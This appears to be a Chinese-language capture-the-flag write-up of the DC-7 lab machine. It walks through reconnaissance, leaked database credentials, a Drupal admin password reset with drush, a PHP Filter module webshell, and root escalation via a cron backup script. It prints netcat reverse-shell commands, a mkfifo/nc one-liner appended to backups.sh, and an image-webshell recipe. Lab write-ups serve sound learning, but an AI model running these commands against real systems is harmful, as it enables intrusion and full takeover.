DC-7 靶机渗透测试
DC-7 渗透测试
冲冲冲,好好学习 。对管道符的理解加深了好多。最后提权时,遇到了点麻烦。想不懂一条命令为啥能执行生效,耗了一整天才算解决掉。
操作机:kali 172.66.66.129
靶机:DC-4 172.66.66.138
网络模式:NAT
netdiscover
172.66.66.138
dirb http://172.66.66.138
nmap -sV -A -p- 172.66.66.138
22端口 OpenSSL 7.4p1 ;80端口 Drupal 8 ;能看到robots.txt
访问一下观察研究网站页面,
有一个搜索框,还发现左下角的 @DC7USER
,这个是什么东西,好陌生。百度一下
于是找到这个东西,进去把源码down了下来,那就代码审计咯
(好一个脚本小子...)一个个去看看,显示文件包含漏洞出在 footer标签里,标签定义文档或者文档的一部分区域的页脚。<footer>
元素应该包含它所包含的元素的信息。
在典型情况下,该元素会包含文档创作者的姓名、文档的版权信息、使用条款的链接、联系信息等等。
在一个文档中,您可以定义多个<footer>
元素。
代码含义:先定义了变量$file = 'contact-info.php'
,再判断 变量对应的文件是或存在,存在则包含,否则 通过 _GET[ ] 获取$file
的值,不经过滤直接包含变量进来。从代码逻辑上看,仿佛没毛病,要执行的前提是预定义的变量$file = 'contact-info.php'
不存在。
哈哈哈哈哈脑子进水了.....敲一下自己。一上来傻乎乎的审计,配置文件这么重要都不看完,在config.php
里看到了数据库账号密码
$username = "dc7user";
$password = "MdR3xOgB7#dW";
登录失败,记得开了22端口,试试ssh登录。
登录成功,提示有新邮件,在``/var/mail/`查看 mbox ,好长的内容
是个备份的内容,/opt/scripts/backups.sh
目标文件所有者是 root ,所属组 是www-data,
当前用户:输入 id
uid=1000(dc7user) #当前用户的 唯一标识 uid 1000
gid=1000(dc7user) #当前用户的 所属组
dc7user
groups=1000(dc7user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),108(netdev) # 属于的其他组
当前用户是backups.sh的其他人
,权限只有 r w读写。仿佛这些发现没用,放弃,找下一个思路。
出来挨打 >.<
“所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????
获得的主要信息:
Shell脚本文件 /opt/scripts/backups.sh
数据库文件:/home/dc7user/backups/website.sql
网站数据: /home/dc7user/backups/website.tar.gz
可见.gpg后缀,文件是经过加密的(为什么我没有想到破解呢???自己反省一下)。有俩比较陌生的命令 drush 和 gpg(一种加密方式)。百度一圈得知可用 drush来修改任意用户的密码drush user-password 用户名 --password="密码"
想到爆破没?可以去试试,gpg秘钥解密PickYourOwnPassword(backup.sh中找到)。但是爆破完,里面也获得不到有用的信息。
从backups.sh
中我们看到,使用drush
备份数据库的时候,先切换目录至/var/www/html
,所以我们也先切换目录至/var/www/html/
cd 到/var/www/html 下使用,(盲猜的后台管理员账号 admin ,在登录页面,输入不存在的账号,会提示该账号未注册。)
改完密码,登录试试,登进去之后
寻找可利用的地方,
此处的代码没有被解析,只原样输出了,绕过无果。再找找其他看
有图片上传框,想到图片马?
如何制作图片马还记得吗?
windows下,先准备两个 文件:
tupian.png ma.php
打开cmd ,在当前路径下执行:
copy tupian.png/b+ma.php/a new.png
/b是以二进制格式复制/合并文件,适用于图片或者声音类文件。
/a是指定ascii格式复制/合并文件,适用于txt等文本类型。
传上去了,但是菜刀连接不上,我马呢?能确认上传路径是没有错的,那是为什么呢,
没有cookie吗?登录一下网页再试试
浏览网页,admin登录,再次尝试连接一句话,仍然失败。图片没有执行吗?思路断。
记得前面的靶机中,drupal有个模块可以执行php代码来着。
寻找cms中模块安装功能在哪,百度寻找该cms存在漏洞的功能模块等,尝试安装存在漏洞的功能模块/主题/插件,最后通过其漏洞实现侵入。
在线下载安装,或者本地上传模块安装。drupal官网找找模块在哪,当前drupal为8.7.6版本。
在此处下载PHP Filter模块http://drupal.org/project/php
,上图可见,下载的应该是 .gz文件,服务器linux的压缩文件也应该是 .gz
执行成功,尝试提权。
-
<?php system("nc -e /bin/bash 172.66.66.129 8888");?>
-
<?php system("$_GET['a']");?>
再访问:http://172.66.66.138/node/6?a=nc -e /bin/bash 127.0.0.1 8888
python 交互shellpython -c 'import pty;pty.spawn("/bin/bash")'
然后呢?思路感觉又断了 >.< 看了下大佬们的wp,抄来了这条一寸长的命令。
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f" >> backups.sh
往backups.sh里 追加 地写入这个命令,拆分一下理解理解
rm /tmp/f;
mkfifo /tmp/f;
cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.67.144 4444 >/tmp/f
rm /tmp/f 删除该文件(以免跟后面定义的 管道符 冲突)
mkfifo /tmp/f 这是创建自定义有名管道符。管道符的名称是 /tmp/f (用于进程间的通讯, 如 ls > /tmp/f ,cat /tmp/f ,连通两个进程之间的通讯)
cat /tmp/f 取出管道符中的内容, |/bin/sh -i 2>&1 将前面取出的内容作为 输入 ,输入给 /bin/sh ,再将bash 的标准错误输出 也作为标准输入 (2 >&1)给bash ,然后再将bash的输出,传给nc 远程,再将nc 传来的数据,写入 管道符 /tmp/f 。最后首尾接通了。
原理上讲也没啥难度,跟之前写的fantanshell笔记里的都一样,换个方式唯一,核心道理一模一样。
但是有个疑问:为啥执行这命令后,nc反弹的shell,是root权限? 是哪里导致的身份成了 root ?
当前用户是 www-data ,backups.sh所有者是root,所属组是www-data
-rwxr-xr-x 1 root root 64K Feb 22 2017 /usr/bin/mkfifo 命令的权限也没有suid呢?
为什么呢?下面是 backups.sh脚本的内容
#!/bin/bash rm /home/dc7user/backups/* cd /var/www/html/ drush sql-dump --result-file=/home/dc7user/backups/website.sql cd .. tar -czf /home/dc7user/backups/website.tar.gz html/ gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz chown dc7user:dc7user /home/dc7user/backups/* rm /home/dc7user/backups/website.sql rm /home/dc7user/backups/website.tar.gz
想不懂一个问题,---------------------------------------------------------------------------------------------------------------------------------------
当前登录用户为 www-data ,id 显示是uid=33(www-data) gid=33(www-data) groups=33(www-data)
现在有个脚本 backups.sh ,权限是 -rwx rwx r-x root www-data
脚本内容是:
#!/bin/bash
rm /home/dc7user/backups/*
cd /var/www/html/
drush sql-dump --result-file=/home/dc7user/backups/website.sql
cd ..
tar -czf /home/dc7user/backups/website.tar.gz html/
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.sql
gpg --pinentry-mode loopback --passphrase PickYourOwnPassword --symmetric /home/dc7user/backups/website.tar.gz
chown dc7user:dc7user /home/dc7user/backups/*
rm /home/dc7user/backups/website.sql
rm /home/dc7user/backups/website.tar.gz
提权方式 是,在脚本末尾追加写入 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 172.66.66.138 8888 >/tmp/f
(命令内容我能理解),写入完成后再执行,开启监听,反弹回来的shell ,就是root权限了。
问题:为什么反弹回来的权限是 root 的?当前用户是 www-data,这个身份执行 脚本,虽然脚本的所有者是root,但好像这个脚本没有suid权限,为啥反弹回来的shell 是root权限的?
为了验证这个问题,(虽然还是没懂为什么,但是想看看究竟是不是这样子的)打开centos 写个脚本测试一下
tmp下随便写个脚本,改一下权限 775 ,改 所有者 为root 和 所属组为zhaocancheng ,脚本内容为验证执行时候的用户id 是否为root ,是root的话就echo。
执行结果并不是root,这就很迷了呀,为啥子哩.....
所以我可以认为,靶机上的脚本运行后能获得 root 权限,跟 文件本身的权限 -rwx rwx r-x root www-data无关吗?我觉得可以... 那难道是 靶机脚本里命令的缘故吗?脚本中使用的命令有 drush、tar、gpg、chown,也能确认跟这些命令没关系...
晚上洗澡忽然想到,上面的centos里的操作,逻辑上不对,得先把账号加入那个组才可以接着下面的步骤。
最后换个思路思考,研究了下脚本里的命令,发现 chown 是只有root才能执行,然而脚本里有这条命令,并且这个提权方式是可行的(已有成功的)。自己本地尝试的时候,普通账号(及时在所属组里)是无法执行脚本的,会报错,提示不允许的操作。
那所以在靶机中,脚本在执行的时候,是root身份在执行了脚本,所以再追加进去的nc 反弹回来才是 root,会不会是 root的计划任务,定期以root身份执行脚本,顺利提权root ,无奈当前用户www-data 无法查看 root 下的计划任务。
最后知道,那个 追加进去的命令好像是 msf 的......
嗯? 磁盘没空间? df -i 看到也没有满呀。啊?打开backups.sh看看
噢噢还真的是说磁盘满了.....然鹅并没有满呀,上面也看到了呀,好吧我电脑也就256G ,确实是满了...
几天后回来想到,这应该是 msf生成的反弹shell后门,需要msf的环境才能执行成功。
最后
- 感觉学到的东西越来越少了,多回顾以前学过的知识,代码审计生疏了好多好多...
- linux用户可以属于多个“组”,
- 看到特殊脚本,打开进去好好看,研究看,仔细看,看,看,看,
- Drush 是Drupal的命令行shell和Unix脚本接口,用于管理druoal网站。当新网站忘记密码,想重置密码,这时候服务器上刚好装着 Drush ,那么恭喜:
drush user-password 用户名 --password="密码"
- gpg 一种加密方式,linux可以安装使用。加密解密也是个知识点。
- 我马呢?我马呢?🐴🐴🐴
- 为什么一句话的图片木马能起效果?原理是什么
- “所属组 是www-data”,当看到这里,我没有反应过来,一个这么高权限的脚本,当前用户无法利用,但是 www-data 可以啊,www-data www-data ,想到了吗?这的意思就是让你从web端日进去,账号成为 www-data ,这都想不到???????????
mkfifo
开心,学到了个神奇的命令。笔记放在另外的地方,篇幅有点长,就不放这里了。